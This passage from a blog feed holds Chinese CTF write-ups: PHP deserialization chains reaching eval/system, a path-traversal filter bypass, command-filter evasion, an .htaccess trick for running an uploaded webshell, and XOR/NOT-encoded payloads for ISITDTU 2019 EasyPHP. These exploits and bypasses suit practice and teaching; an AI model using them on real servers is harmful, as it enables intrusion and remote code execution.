class="comment">//我的强</span></span><br><span class="line">   <span class="function"><span class="keyword">function</span>  <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">   <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">bllliang</span>();</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">bllliang</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">   <span class="variable language_">$this</span>-&gt;qiang-&gt;<span class="title function_ invoke__">close</span>();</span><br><span class="line">   &#125;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">class</span> <span class="title">bllnbnl</span></span>&#123;</span><br><span class="line">   <span class="keyword">public</span> <span class="variable">$er</span>;<span class="comment">//我的儿</span></span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">close</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">   <span class="keyword">eval</span>(<span class="variable language_">$this</span>-&gt;er);</span><br><span class="line">   &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;blljl&#x27;</span>]))&#123;</span><br><span class="line">   <span class="variable">$user_data</span>=<span class="title function_ invoke__">unserialize</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;blljl&#x27;</span>]);</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>我们需要触发<code>close</code>，需要先触发<code>bllliang</code>，要触发<code>bllliang</code>需要先触发销毁函数<code>__destruct()</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">bllbl</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$qiang</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span>  <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">bllliang</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">bllliang</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="variable language_">$this</span>-&gt;qiang-&gt;<span class="title function_ invoke__">close</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">bllnbnl</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$er</span> = <span class="string">&#x27;system(&quot;ls /&quot;);&#x27;</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">close</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">eval</span>(<span class="variable language_">$this</span>-&gt;er);</span><br><span class="line">    &#125;</span><br><span class="line">    &#125;</span><br><span class="line">   <span class="variable">$a</span> = <span class="keyword">new</span> <span class="title function_ invoke__">bllbl</span>();</span><br><span class="line">   <span class="variable">$b</span> = <span class="keyword">new</span> <span class="title function_ invoke__">bllnbnl</span>();</span><br><span class="line">   <span class="variable">$a</span>-&gt;qiang = <span class="variable">$b</span>;</span><br><span class="line">   <span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>));</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h2 id="1ncIud3"><a href="#1ncIud3" class="headerlink" title="1ncIud3"></a>1ncIud3</h2><p>根据题目提示常见的替换有</p><p>f1a9 f1ag f149</p><p>又因为是在某个目录下，所以用…&#x2F;.&#x2F;为一组，不出意外基本题型最多也就四组，四组还不行的话就换命令了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?page=..././..././f1a9</span><br></pre></td></tr></table></figure><h2 id="狗黑子的RCE"><a href="#狗黑子的RCE" class="headerlink" title="狗黑子的RCE"></a>狗黑子的RCE</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;content-type:text/html;charset=utf-8&#x27;</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="variable">$gouheizi1</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;gouheizi1&#x27;</span>];</span><br><span class="line">    <span class="variable">$gouheizi2</span>=<span class="variable">$_POST</span>[<span class="string">&#x27;gouheizi2&#x27;</span>];</span><br><span class="line">    <span class="variable">$gouheizi2</span>=<span class="title function_ invoke__">str_replace</span>(<span class="string">&#x27;gouheizi&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$gouheizi2</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\&#x27;|\&quot;|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\&#123;|\&#125;|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|&#123;|&#125;|\(|\)|-|&lt;|&gt;/i&quot;</span>, <span class="variable">$gouheizi1</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span>(<span class="string">&quot;badly!&quot;</span>);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$gouheizi2</span>===<span class="string">&quot;gouheizi&quot;</span>)&#123;</span><br><span class="line">        <span class="title function_ invoke__">system</span>(<span class="variable">$gouheizi1</span>);</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;gouheizi!&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>核心逻辑总结</p><p>要成功执行命令，必须同时满足两个条件：</p><ol><li>POST 传入的 gouheizi2 经过 str_replace(‘gouheizi’,’’,…) 后，**结果仍然严格等于 “gouheizi”**。</li><li>GET 传入的 gouheizi1 是一个有效的命令，且<strong>不能包含正则中列出的任何被禁字符&#x2F;命令</strong>。</li></ol><p>gouheizi2利用双写绕过，gouheizi1没有过滤 <code>\</code>  <code>/</code>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?gouheizi1=l\s /</span><br><span class="line">gouheizi2=gougouheiziheizi</span><br></pre></td></tr></table></figure><h2 id="简单的链子"><a href="#简单的链子" class="headerlink" title="简单的链子"></a>简单的链子</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$cmd</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable language_">$this</span>-&gt;cmd)) &#123;</span><br><span class="line">            <span class="title function_ invoke__">system</span>(<span class="variable">$this</span>-&gt;cmd);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;data&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$data</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;data&#x27;</span>];</span><br><span class="line">    @<span class="title function_ invoke__">unserialize</span>(<span class="variable">$data</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>exp:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$cmd</span>;</span><br><span class="line">    <span class="comment">// function __destruct() &#123;</span></span><br><span class="line">    <span class="comment">//     if (isset($this-&gt;cmd)) &#123;</span></span><br><span class="line">    <span class="comment">//         system($this-&gt;cmd);</span></span><br><span class="line">    <span class="comment">//     &#125;</span></span><br><span class="line">    <span class="comment">// &#125;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="title function_ invoke__">A</span>();        </span><br><span class="line"><span class="variable">$a</span>-&gt;cmd = <span class="string">&quot;cat /flag&quot;</span>; </span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>);   </span><br></pre></td></tr></table></figure><h2 id="rce命令执行系统"><a href="#rce命令执行系统" class="headerlink" title="rce命令执行系统"></a>rce命令执行系统</h2><p>目录扫描出flag.txt</p><p>访问得到提示：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">txt &gt; php</span><br><span class="line">l &gt; 1</span><br></pre></td></tr></table></figure><p>根据提示访问<code>./f1ag.php</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hint:既然你找到这里了那就告诉你点东西吧 异或后它好像改名叫XOR_KEY，给他传个参试一试呢，对了，咱们的靶场叫什么来着？🤔</span><br></pre></td></tr></table></figure><p>payload:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">env XOR_KEY=Polar</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/12/14/polarCTFweb%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-%E7%AE%80%E5%8D%95/</id>
    <link href="https://everythingis-ok.github.io/2025/12/14/polarCTFweb%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-%E7%AE%80%E5%8D%95/"/>
    <published>2025-12-14T13:43:29.000Z</published>
    <summary>
      <![CDATA[<h1 id="polarCTFweb刷题记录-简单"><a href="#polarCTFweb刷题记录-简单" class="headerlink" title="polarCTFweb刷题记录(简单)"></a>polarCTFweb刷题记录(简单)</h1><p>总算是把]]>
    </summary>
    <title>polarCTFweb刷题记录(简单)</title>
    <updated>2025-12-14T13:43:44.402Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="记录一种文件上传的绕过方法"><a href="#记录一种文件上传的绕过方法" class="headerlink" title="记录一种文件上传的绕过方法"></a>记录一种文件上传的绕过方法</h1><p>刷polarctf遇到的一道题目。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251211191037726-1765451472860-1.png" alt="image-20251211191037726"></p><p>考虑使用 <code>.htaccess</code> 触发解析执行。但是传入的jpg文件不能有<code>&lt;?</code>，使用<code>&lt;script language=&quot;php&quot;&gt;php代码&lt;/script&gt;</code>上传成功后也不能蚁剑连接。原因应该是php7以上的版本，不能这么使用php标签头。</p><p>使用的方法是修改<code>.htaccess</code>配置文件，以用后门读取base64</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.htaccess文件：</span><br><span class="line">AddType application/x-httpd-php .jpg</span><br><span class="line">php_value auto_append_fi\</span><br><span class="line">le &quot;php://filter/convert.base64-decode/resource=shell.jpg&quot;</span><br></pre></td></tr></table></figure><p>之后再上传图片码就可以正常连接。</p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/12/11/%E8%AE%B0%E5%BD%95%E4%B8%80%E7%A7%8D%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%9A%84%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95/</id>
    <link href="https://everythingis-ok.github.io/2025/12/11/%E8%AE%B0%E5%BD%95%E4%B8%80%E7%A7%8D%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%9A%84%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95/"/>
    <published>2025-12-11T11:14:13.000Z</published>
    <summary>
      <![CDATA[<h1 id="记录一种文件上传的绕过方法"><a href="#记录一种文件上传的绕过方法" class="headerlink" title="记录一种文件上传的绕过方法"></a>记录一种文件上传的绕过方法</h1><p>刷polarctf遇到的一道题目。</p>
<p><]]>
    </summary>
    <title>记录一种文件上传的绕过方法</title>
    <updated>2025-12-11T11:14:42.811Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="ISITDTU-2019-EasyPHP"><a href="#ISITDTU-2019-EasyPHP" class="headerlink" title="[ISITDTU 2019]EasyPHP"></a>[ISITDTU 2019]EasyPHP</h1><p>并非easy。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$_</span> = @<span class="variable">$_GET</span>[<span class="string">&#x27;_&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span> ( <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/[\x00- 0-9\&#x27;&quot;`$&amp;.,|[&#123;_defgops\x7F]+/i&#x27;</span>, <span class="variable">$_</span>) )</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;rosé will not do it&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ( <span class="title function_ invoke__">strlen</span>(<span class="title function_ invoke__">count_chars</span>(<span class="title function_ invoke__">strtolower</span>(<span class="variable">$_</span>), <span class="number">0x3</span>)) &gt; <span class="number">0xd</span> )</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;you are so close, omg&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$_</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>只要绕过两个if就可以实现rce。</p><p>先看第一个正则匹配，</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/[\x00- 0-9\&#x27;&quot;`$&amp;.,|[&#123;_defgops\x7F]+/i&#x27;</span>, <span class="variable">$_</span>)</span><br></pre></td></tr></table></figure><p>这个正则匹配的字符包括：</p><ul><li><strong>控制字符</strong>：ASCII 0～31（包括 <code>\t</code>, <code>\n</code>, <code>\r</code> 等）；</li><li><strong>空格</strong>；</li><li><strong>数字</strong>：<code>0–9</code>；</li><li><strong>标点符号</strong>：<code>&#39; &quot; </code> $ &amp; . , | [ { _&#96;；</li><li><strong>字母</strong>：<code>d, e, f, g, o, p, s</code>（及其大写）；</li><li><strong>ASCII 127（DEL）</strong>。</li></ul><p>再看第二个if：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( <span class="title function_ invoke__">strlen</span>(<span class="title function_ invoke__">count_chars</span>(<span class="title function_ invoke__">strtolower</span>(<span class="variable">$_</span>), <span class="number">0x3</span>)) &gt; <span class="number">0xd</span> )</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251110154812637.png" alt="image-20251110154812637"></p><p>查询php手册可以看到<code>count_chars()</code><strong>mode</strong>为3时相当于统计字符种类数。</p><p>也就是说我们构造的payload里面字符种类不能超过13中。</p><p>看了一个师傅的博客发现使用这个脚本可以得到不被禁止的函数名，但是过滤结果没有可用函数。</p><p>[<a href="https://kinseyy.github.io/2024/07/25/ISITDTU-2019-EasyPHP/">ISITDTU 2019]EasyPHP | 北歌</a></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$array</span>=<span class="title function_ invoke__">get_defined_functions</span>();<span class="comment">//返回所有内置定义函数</span></span><br><span class="line"><span class="keyword">foreach</span>(<span class="variable">$array</span>[<span class="string">&#x27;internal&#x27;</span>] <span class="keyword">as</span> <span class="variable">$arr</span>)&#123;</span><br><span class="line">    <span class="keyword">if</span> ( <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/[\x00- 0-9\&#x27;&quot;\`$&amp;.,|[&#123;_defgops\x7F]+/i&#x27;</span>, <span class="variable">$arr</span>) ) <span class="keyword">continue</span>;</span><br><span class="line">    <span class="keyword">if</span> ( <span class="title function_ invoke__">strlen</span>(<span class="title function_ invoke__">count_chars</span>(<span class="title function_ invoke__">strtolower</span>(<span class="variable">$arr</span>), <span class="number">0x3</span>)) &gt; <span class="number">0xd</span> ) <span class="keyword">continue</span>;</span><br><span class="line">    <span class="keyword">print</span>(<span class="variable">$arr</span>.<span class="string">&#x27;&lt;br/&gt;&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//运行结果</span></span><br><span class="line">bcmul</span><br><span class="line">rtrim</span><br><span class="line">trim</span><br><span class="line">ltrim</span><br><span class="line">chr</span><br><span class="line">link</span><br><span class="line">unlink</span><br><span class="line">tan</span><br><span class="line">atan</span><br><span class="line">atanh</span><br><span class="line">tanh</span><br><span class="line">intval</span><br><span class="line">mail</span><br><span class="line">min</span><br><span class="line">max</span><br><span class="line">virtual</span><br></pre></td></tr></table></figure><p>再看第一个if发现没有过滤掉~和^，我们可以考虑用按位取反。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"> <span class="variable">$a</span>=<span class="string">&quot;phpinfo&quot;</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(~<span class="variable">$a</span>);</span><br><span class="line"><span class="comment">//%8F%97%8F%96%91%99%90</span></span><br></pre></td></tr></table></figure><p>执行成功后我们可以查看查看disable_functions看一下可用函数。</p><p>发现所有的命令执行的函数都被禁了。我们需要找到flag文件，我们可以使用scandir()或者glob()列目录，但它返回一个数组，我们还需要一个print_r或var_dump</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">print_r</span>(<span class="title function_ invoke__">scandir</span>(<span class="string">&#x27;.&#x27;</span>));</span><br></pre></td></tr></table></figure><p>直接暴力异或，但是发现字符种类数超了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"></span><br><span class="line">final_string = <span class="string">&quot;print_r(scandir(&#x27;.&#x27;));&quot;</span></span><br><span class="line">allowed = <span class="string">&quot;!#%()*+-/:;&lt;=&gt;?@ABCHIJKLMNQRTUVWXYZ\\]^abchijklmnqrtuvwxyz&#125;~&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hex0</span>(<span class="params">x</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;0x&#123;:x&#125;&quot;</span>.<span class="built_in">format</span>(x)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pct_join</span>(<span class="params">bs</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;&quot;</span>.join(<span class="string">&quot;%%%02x&quot;</span> % (b &amp; <span class="number">0xff</span>) <span class="keyword">for</span> b <span class="keyword">in</span> bs)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment"># Part 1: exhaustive listing</span></span><br><span class="line">    <span class="keyword">for</span> a <span class="keyword">in</span> final_string:</span><br><span class="line">        oa = <span class="built_in">ord</span>(a)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> allowed:</span><br><span class="line">            oi = <span class="built_in">ord</span>(i)</span><br><span class="line">            <span class="keyword">for</span> p <span class="keyword">in</span> allowed:</span><br><span class="line">                op = <span class="built_in">ord</span>(p)</span><br><span class="line">                <span class="keyword">if</span> (oi ^ op) == oa:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;i=<span class="subst">&#123;hex0(oi)&#125;</span> p=<span class="subst">&#123;hex0(op)&#125;</span> a=<span class="subst">&#123;hex0(oa)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Part 2: exact payload expression</span></span><br><span class="line">    s1 = <span class="string">&quot;print_r&quot;</span></span><br><span class="line">    s2 = <span class="string">&quot;scandir&quot;</span></span><br><span class="line">    dot = <span class="string">&quot;.&quot;</span></span><br><span class="line"></span><br><span class="line">    I1 = [<span class="built_in">ord</span>(c) ^ <span class="number">0xff</span> <span class="keyword">for</span> c <span class="keyword">in</span> s1]</span><br><span class="line">    I2 = [<span class="built_in">ord</span>(c) ^ <span class="number">0xff</span> <span class="keyword">for</span> c <span class="keyword">in</span> s2]</span><br><span class="line">    D1 = <span class="built_in">ord</span>(dot) ^ <span class="number">0xff</span></span><br><span class="line"></span><br><span class="line">    FF7_pct = <span class="string">&quot;%ff&quot;</span>*<span class="number">7</span></span><br><span class="line"></span><br><span class="line">    payload = (</span><br><span class="line">        final_string</span><br><span class="line">        + <span class="string">&quot;==&quot;</span></span><br><span class="line">        + <span class="string">f&quot;((<span class="subst">&#123;pct_join(I1)&#125;</span>)^(<span class="subst">&#123;FF7_pct&#125;</span>))&quot;</span></span><br><span class="line">        + <span class="string">f&quot;(((<span class="subst">&#123;pct_join(I2)&#125;</span>)^(<span class="subst">&#123;FF7_pct&#125;</span>))(%<span class="subst">&#123;D1:02x&#125;</span>^%ff));&quot;</span></span><br><span class="line">    )</span><br><span class="line">    <span class="built_in">print</span>(payload)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Optional: verify equals the exact required string</span></span><br><span class="line">  </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br><span class="line">print_r(scandir(<span class="string">&#x27;.&#x27;</span>));==((%8f%8d%<span class="number">96</span>%<span class="number">91</span>%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%<span class="number">91</span>%9b%<span class="number">96</span>%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));</span><br></pre></td></tr></table></figure><p>解决思路是在这16个不重复字符里删减一些，删减的字符用其他字符异或来表示。<br>主要是和%ff异或的那些字符串。其他都是固定的。</p><p>用的是<code>a^b^c=d</code>,把<code>a^b^c</code>替换原来的d，再和%ff异或。<br>即原来的<code>d^%ff = a^b^c^%ff</code>。</p><p>用脚本筛选一下可以被替换掉的字符。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># xor_subs_no_forbidden.py</span></span><br><span class="line"><span class="keyword">from</span> itertools import product</span><br><span class="line"></span><br><span class="line">TARGET = <span class="string">&quot;print_r(scandir(&#x27;.&#x27;));&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 不允许作为“材料字符”（x/y/z）参与异或的字面字符：</span></span><br><span class="line"><span class="comment"># 注意：这是“字面字符集”的限制，与运算符 ^ 无关。</span></span><br><span class="line">FORBIDDEN_BASE = <span class="title function_ invoke__">set</span>(<span class="string">&quot;^;().&#x27;_&quot;</span>)     <span class="comment"># &lt;- 你要求的：不要把 ^ 和 ; 用作材料</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 